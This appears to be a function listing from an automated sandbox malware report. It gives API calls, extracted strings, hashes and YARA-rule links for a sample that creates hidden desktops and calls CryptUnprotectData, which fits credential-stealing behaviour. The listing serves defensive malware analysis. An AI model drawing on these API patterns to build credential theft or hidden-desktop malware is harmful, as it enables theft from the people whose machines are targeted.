Instruction Fuzzy Hash: 2EA2DE74D056A88BDB66CF68C890BEDBBB1AF59304F1481DAD98CA7251EB301BC5CF50

Uniqueness

Uniqueness Score: -1.00%

Function 068D9A10 Relevance: 17.9, APIs: 2, Strings: 8, Instructions: 430
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,0694102C,?,?), ref: 068D9B1E

Part of subcall function 068D97E0: std::exception::exception.LIBCMTD ref: 068D981C

GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 068D9FE0

Strings

J9q=, xrefs: 068D9E7F
J9q=, xrefs: 068D9CE2
J9q=, xrefs: 068DA063
J9q=, xrefs: 068D9BCA
J9q=, xrefs: 068D9B7F
J9q=, xrefs: 068DA0BD
J9q=, xrefs: 068D9C97
J9q=, xrefs: 068D9E28

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: DirectoryInformationVolumeWindowsstd::exception::exception
String ID: J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 1347862782-3794784726
Opcode ID: 4409b40794e2ad34cda78518e01ff9a4276a754417173cc0553e476b24b5180e
Instruction ID: 9fc49c07274ebd11240c75ac9a05177f5f828528dc49b2c921d1fa22ecc10dc6
Opcode Fuzzy Hash: 4409b40794e2ad34cda78518e01ff9a4276a754417173cc0553e476b24b5180e
Instruction Fuzzy Hash: A0320F74D092A88BDB66CF68C891BEDBBB1AF59300F1481D9D988B7351EB301AC5CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00658080 Relevance: 9.2, Strings: 7, Instructions: 484
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

no such vfs: %s, xrefs: 00658237
MATCH, xrefs: 00658488, 00658499, 006584B9, 006584BA, 006584D0
BINARY, xrefs: 006582A5, 006582B4, 006582CE, 0065830E, 00658319, 00658331, 00658383, 00658384
NOCASE, xrefs: 006583AA
sqlite_rename_table, xrefs: 00658464
automatic extension loading failed: %s, xrefs: 006585AC
RTRIM, xrefs: 006582E8

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: BINARY$MATCH$NOCASE$RTRIM$automatic extension loading failed: %s$no such vfs: %s$sqlite_rename_table
API String ID: 0-1885142750
Opcode ID: f94c128607d15d83e0c329121d127a01265abb3de472c4db57eb8afe7acd57fa
Instruction ID: e037659531dc18d1fe3086a69e2d577d43a7973cebfb180e16f18bdf95168919
Opcode Fuzzy Hash: f94c128607d15d83e0c329121d127a01265abb3de472c4db57eb8afe7acd57fa
Instruction Fuzzy Hash: DE021970A007009FEB209F25DC85B6B7BE7EB50305F14442CEC4AAB791DFB5AA49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 068FD540 Relevance: 9.1, Strings: 7, Instructions: 352
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

J9q=, xrefs: 068FD620
J9q=, xrefs: 068FD87B
50500, xrefs: 068FDAEE
J9q=, xrefs: 068FD9E1
J9q=, xrefs: 068FD5D5
J9q=, xrefs: 068FD8C6
J9q=, xrefs: 068FD996

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: std::exception::exception
String ID: 50500$J9q=$J9q=$J9q=$J9q=$J9q=$J9q=
API String ID: 2807920213-4054434391
Opcode ID: ffa5fa0fa633771c5ab8e8c9c80f941c8980293d811653eaeffd37573384060e
Instruction ID: da7a3999b7e5c664696092e083cbada9ac5c3773e49dcabe53af629e3cfc6a9b
Opcode Fuzzy Hash: ffa5fa0fa633771c5ab8e8c9c80f941c8980293d811653eaeffd37573384060e
Instruction Fuzzy Hash: 0A121274D042A88BDB65CFA8C991BEDFBB1AF59300F1082D9D989B7351EB301A85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00624130 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 536
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00624401
std::_Throw_Cpp_error.LIBCPMT ref: 00624412

Part of subcall function 00644870: __fread_nolock.LIBCMT ref: 006449B9

Strings

v<Ea, xrefs: 0062477D
v<Ea, xrefs: 00624239

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$__fread_nolock
String ID: v<Ea$v<Ea
API String ID: 3923684256-2190929436
Opcode ID: e9ea6358781157819e8a4a899c254e3905534202af1e452101cde07591ad63c2
Instruction ID: 83dd8735cdded33e5e0233ac7a30ab6fc717bddb8783d764e7282ab08a90304f
Opcode Fuzzy Hash: e9ea6358781157819e8a4a899c254e3905534202af1e452101cde07591ad63c2
Instruction Fuzzy Hash: AA329BB0D00299CFCB05CFA8D8857EEBBB2BF59304F148159E8056B382DB75AA45CF91

Uniqueness

Uniqueness Score: -1.00%

Function 068D9080 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 068D90A3
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,0694A928), ref: 068D9114

Strings

8PBQfHbpTePWgDg, xrefs: 068D9089, 068D90B2

Memory Dump Source

Source File: 00000000.00000002.3809427330.00000000068D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 068D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_68d0000_file.jbxd

Similarity

API ID: Desktop$CreateOpen
String ID: 8PBQfHbpTePWgDg
API String ID: 153846745-2298592496
Opcode ID: 05c036f6aab0e433d4722d383cbecdf21d6ab761f5198209c61ce3a199dfe77c
Instruction ID: 5c2595d6ee404ae4f23e34831406dfda7d030b101144289492c35c7a871e6791
Opcode Fuzzy Hash: 05c036f6aab0e433d4722d383cbecdf21d6ab761f5198209c61ce3a199dfe77c
Instruction Fuzzy Hash: A411F3B4E44209AFDF44DF94D845BEEBBB1EB48300F104099EA15B7380D3755A81CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 006233B0 Relevance: 4.5, Strings: 3, Instructions: 738COMMON

Download Yara Rule

Strings

v<Ea, xrefs: 006235E6
v<Ea, xrefs: 00623CF0
v<Ea, xrefs: 006235A0

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID: v<Ea$v<Ea$v<Ea
API String ID: 0-1164314080
Opcode ID: ed5b2fe04eb3013d12eba50da7fcb620e9f410d72d0becdcc76e6af126320c4d
Instruction ID: e0712a4f5ce06df0ebbac6cf44e41ed6cef09a554a8c4024cb1eb00882d14dac
Opcode Fuzzy Hash: ed5b2fe04eb3013d12eba50da7fcb620e9f410d72d0becdcc76e6af126320c4d
Instruction Fuzzy Hash: A27257B0D042598FDB15CFA8D9857EEBBB1BF45300F248199D849BB382D7745A84CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 0069C8D0 Relevance: 3.5, APIs: 2, Instructions: 484COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0069CA85
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0069CD87

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: 1fbcdf5a7e95e436b6ca3ba560cd654520dac54521de85a1bf6cc80eaad80ff3
Instruction ID: ef3e701e5dfae456b401596441163d7e20bce24c58953272e4254a60d5d2d710
Opcode Fuzzy Hash: 1fbcdf5a7e95e436b6ca3ba560cd654520dac54521de85a1bf6cc80eaad80ff3
Instruction Fuzzy Hash: B5029D70604602AFDF54CF28C840BAAB7EABF89324F04866DE859CBB50D775ED54CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00623EB0 Relevance: 1.7, APIs: 1, Instructions: 207encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?,?,00000000), ref: 00623F07

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: f8636db17b01157eef5cc35e5991e19daddf84d7b615905e81fa5c6c8c176d0f
Instruction ID: 5b89f62410b54bbb04da86790ed4df45f1b02a596e09b82bc16c6706b0a928a6
Opcode Fuzzy Hash: f8636db17b01157eef5cc35e5991e19daddf84d7b615905e81fa5c6c8c176d0f
Instruction Fuzzy Hash: 3571C071C04649DBDF00DFA8D9457EDBBB4FB54310F10826AE854B7381EB786A49CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00591F8C Relevance: 1.3, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(000000FF,00000001,?,00000000,00000000,00000000,?,?,000000FF,?,0057D027,?,?,?,00584721), ref: 00591FD9

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5c7fc1d88f2f958d2e14296990377594af0de5e7b83cf713d601b586abe0e8c8
Instruction ID: ca0cac5b8aff87c91f992b90231b455617b6f86d306549094c96bfde15ade35a
Opcode Fuzzy Hash: 5c7fc1d88f2f958d2e14296990377594af0de5e7b83cf713d601b586abe0e8c8
Instruction Fuzzy Hash: BDF0E275000A1EBFDF116FB4DC05CBA3F9DFB50370B108A24B928810A1D73188A19774

Uniqueness

Uniqueness Score: -1.00%

Function 006A3160 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56196db50eb10397da5ea6fe522864d1bffa1ca8254511536f7c23bc893a8d99
Instruction ID: bb590cacf50740653bf9e8f7bf3843908790fd64add28c676a80010810c16961
Opcode Fuzzy Hash: 56196db50eb10397da5ea6fe522864d1bffa1ca8254511536f7c23bc893a8d99
Instruction Fuzzy Hash: DAA12AB1A056269BDB14DF69D440669FBE2FF46314B28C56DE819CB311EB31EE11CF80

Uniqueness

Uniqueness Score: -1.00%

Function 005B8BA0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 942346c7f2d976c2e070471accc34871700e228aadd3dca64635b4d884afb9e2
Instruction ID: 174e27fc8efecdce85bf1e9bd72f73504ecfe711e9100bbdebc3fa9d4fc8c108
Opcode Fuzzy Hash: 942346c7f2d976c2e070471accc34871700e228aadd3dca64635b4d884afb9e2
Instruction Fuzzy Hash: C581D3B1D002868FDB118F58D8D57FABFB9FB2A304F441169D9559B382CB35AD09C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00578DC0 Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19eb41864092ca8ee924980f922819d0cf3714f13f3d2ff73fdaff5fded7d257
Instruction ID: 8318706343b2d18e85f6e802883291b9c8dbf872af71012235dfa158f73e8fc5
Opcode Fuzzy Hash: 19eb41864092ca8ee924980f922819d0cf3714f13f3d2ff73fdaff5fded7d257
Instruction Fuzzy Hash: CB41D975A00509AFCB15DF68DC849AEBFB8FF85320F50812AF928D7341DB309A50DB91

Uniqueness

Uniqueness Score: -1.00%

Function 005C3650 Relevance: 110.9, APIs: 3, Strings: 59, Instructions: 2365COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 005C5AD0
CreateDirectoryA.KERNEL32(?,00000000), ref: 005C5CE6
CreateDirectoryA.KERNEL32(?,00000000), ref: 005C5DF5

Strings

v<Ea, xrefs: 005C3990
v<Ea, xrefs: 005C4A30
v<Ea, xrefs: 005C3E4D
v<Ea, xrefs: 005C3D23
v<Ea, xrefs: 005C4DBE
v<Ea, xrefs: 005C4EE2
v<Ea, xrefs: 005C42EA
v<Ea, xrefs: 005C400A
v<Ea, xrefs: 005C4565
v<Ea, xrefs: 005C426F
v<Ea, xrefs: 005C45E4
v<Ea, xrefs: 005C55F5
v<Ea, xrefs: 005C626C
v<Ea, xrefs: 005C615D
v<Ea, xrefs: 005C635F
xcn, xrefs: 005C385D
v<Ea, xrefs: 005C465B
v<Ea, xrefs: 005C53F2
v<Ea, xrefs: 005C663D
v<Ea, xrefs: 005C56EB
v<Ea, xrefs: 005C4500
v<Ea, xrefs: 005C5C36
v<Ea, xrefs: 005C3741
t=n, xrefs: 005C5A79
t=n, xrefs: 005C37DE
v<Ea, xrefs: 005C5674
xcn, xrefs: 005C3844
v<Ea, xrefs: 005C3C78
v<Ea, xrefs: 005C6033
v<Ea, xrefs: 005C43DD
v<Ea, xrefs: 005C4CA7
v<Ea, xrefs: 005C501F
v<Ea, xrefs: 005C4082
v<Ea, xrefs: 005C63DA
v<Ea, xrefs: 005C40FD
v<Ea, xrefs: 005C5112
v<Ea, xrefs: 005C3A9B
v<Ea, xrefs: 005C67E8
v<Ea, xrefs: 005C4489
v<Ea, xrefs: 005C5750
v<Ea, xrefs: 005C52FF
v<Ea, xrefs: 005C3F8F
v<Ea, xrefs: 005C5F16
v<Ea, xrefs: 005C4D19
v<Ea, xrefs: 005C46C0
v<Ea, xrefs: 005C5D48
v<Ea, xrefs: 005C62E7
v<Ea, xrefs: 005C509A
v<Ea, xrefs: 005C5F88
v<Ea, xrefs: 005C5590
v<Ea, xrefs: 005C3C06
v<Ea, xrefs: 005C4B38
v<Ea, xrefs: 005C4362
v<Ea, xrefs: 005C518D
v<Ea, xrefs: 005C537A
v<Ea, xrefs: 005C64A0
v<Ea, xrefs: 005C546D
v<Ea, xrefs: 005C5519
t=n, xrefs: 005C6732

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CreateDirectory
String ID: t=n$t=n$t=n$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$xcn$xcn
API String ID: 4241100979-4090943107
Opcode ID: 21b7afdd1128bae83e3e81061749c711afa2a7c558a85fe08bbdf09eec6317ce
Instruction ID: 13162479f3ef23d3f6c81afcfa54869f5de1567930a642d2e54ff6157dfa283b
Opcode Fuzzy Hash: 21b7afdd1128bae83e3e81061749c711afa2a7c558a85fe08bbdf09eec6317ce
Instruction Fuzzy Hash: C353CCB4D152698FDB65DF64C898BDDBBB4BB49300F0081EAA44DA7252EB702F84DF41

Uniqueness

Uniqueness Score: -1.00%

Function 005BE090 Relevance: 49.8, APIs: 10, Strings: 18, Instructions: 832
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryA.KERNEL32(?,00000000), ref: 005BE192
CreateDirectoryA.KERNEL32(?,00000000,?,?,-00000004,-0000001C,-00000034,-0000004C), ref: 005BE322
CreateDirectoryA.KERNEL32(?,00000000,?,?,?,?,-00000004,-0000001C,-00000034,-0000004C), ref: 005BE415
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BE50B
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BE757
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BE8D5
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BEA65
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BEB58
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BEC4E
CreateDirectoryA.KERNEL32(?,00000000), ref: 005BEEA6

Strings

v<Ea, xrefs: 005BE358
t=n, xrefs: 005BE158
4<Ea, xrefs: 005BE561
v<Ea, xrefs: 005BE281
v<Ea, xrefs: 005BEDEC
4<Ea, xrefs: 005BECA4
v<Ea, xrefs: 005BEA9B
v<Ea, xrefs: 005BE61C
v<Ea, xrefs: 005BED77
v<Ea, xrefs: 005BE120
t=n, xrefs: 005BE8A1
v<Ea, xrefs: 005BED12
v<Ea, xrefs: 005BE691
v<Ea, xrefs: 005BEB9B
v<Ea, xrefs: 005BE9C4
v<Ea, xrefs: 005BE869
v<Ea, xrefs: 005BE458
v<Ea, xrefs: 005BE5C3

Memory Dump Source

Source File: 00000000.00000002.3795888867.0000000000561000.00000020.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.3795812293.0000000000560000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798251494.00000000006BA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3798312188.00000000006E2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3800113161.00000000006E7000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801193591.000000000070F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3801244199.0000000000715000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803239659.00000000008EB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3803281065.00000000008EC000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3806552867.0000000000C73000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Similarity

API ID: CreateDirectory
String ID: 4<Ea$4<Ea$t=n$t=n$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea$v<Ea
API String ID: 4241100979-3449736852
Opcode ID: b1428cda1c960c842cc64346d7c49c54a8bc012394526063f4f9c3cc25b1ada6
Instruction ID: a7c04cf41b595c34a7bbf26a6570c61eedcd7954cbcab48c525344c4721f68e1
Opcode Fuzzy Hash: b1428cda1c960c842cc64346d7c49c54a8bc012394526063f4f9c3cc25b1ada6
Instruction Fuzzy Hash: A69222B0D042A98FDB25DB64CC99BDDBBB4BB54304F0480E9D449A7282EB706F88DF51

Uniqueness

Uniqueness Score: -1.00%

